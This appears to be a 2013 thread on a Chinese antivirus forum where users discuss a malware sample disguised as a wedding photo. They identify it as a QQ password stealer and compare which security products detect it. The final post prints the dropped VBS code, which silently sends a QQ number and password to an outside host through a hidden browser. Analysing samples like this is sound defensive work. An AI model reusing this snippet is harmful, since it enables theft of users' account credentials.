我是婚礼照

显示全部楼层 · 发表于 2013-5-2 16:35:02

guisiding110 发表于 2013-5-2 16:02
过趋势，HitmanPro杀！

过趋势很正常的，如果在样本区逛。不过，还是感觉趋势很好

显示全部楼层 · 发表于 2013-5-2 16:37:53

翔无痕发表于 2013-5-2 16:35
过趋势很正常的，如果在样本区逛。不过，还是感觉趋势很好

趋势现在本地查杀还是不错的，但是我估计是趋势的入库速度不是很快

显示全部楼层 · 发表于 2013-5-2 20:39:31

盗号，创建的VBS文件，运行出错。

显示全部楼层 · 发表于 2013-5-2 21:39:46

又是QQ粘虫。。。

通常情况下。。。再次输入密码后。。。会联网上传的。。。

这个为什么没有这个动作。。。。难道是第5代QQ粘虫。。

微点保持沉默。。

显示全部楼层 · 发表于 2013-5-2 21:57:55

fs 主防灭了

显示全部楼层 · 发表于 2013-5-2 21:58:24

QQ粘虫，过火绒

显示全部楼层 · 发表于 2013-5-2 22:11:41

创建的VBS文件，XP下运行错误

显示全部楼层 · 发表于 2013-5-2 22:12:30

wqcaokeyinwq 发表于 2013-5-2 21:39
又是QQ粘虫。。。

显示全部楼层 · 发表于 2013-5-2 22:18:00

本帖最后由扬帆横起于 2013-5-2 22:19 编辑

hddu 发表于 2013-5-2 22:11
创建的VBS文件，XP下运行错误

wscript.exe的原因吧，是不是朋友MD的规则阻止了：
wscript全称“Windows Scripting Host”，它是Windows 98新增的功能，是一种批次语言/自动执行工具——它所对应的程序“wscript.exe”是一个脚本语言解释器，位于C:\WINDOWS\system32目录下，正是它才使得脚本可以被执行，就象执行批处理一样，可以拿来执行.wsh，.vbs，.js等。它本身并不是病毒，但由于其功能十分强大，所以会被一些恶意病毒代码所利用。建议您安装用杀毒软件查杀病毒。

显示全部楼层 · 发表于 2013-5-2 22:23:38

扬帆横起发表于 2013-5-2 22:18
wscript.exe的原因吧，是不是朋友MD的规则阻止了：
wscript全称“Windows Scripting Host”，它是 ...

set ie=createobject("internetexplorer.application")
ie.visible=FALSE
ie.navigate("http://fsfss.gwrewt.net/fa19itrwe/find.asp?QQNumber=2808536354&QQPassWord=0123456789")
do until ie.readystate=4
loop
set ie=nothing

[病毒样本] 我是婚礼照

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源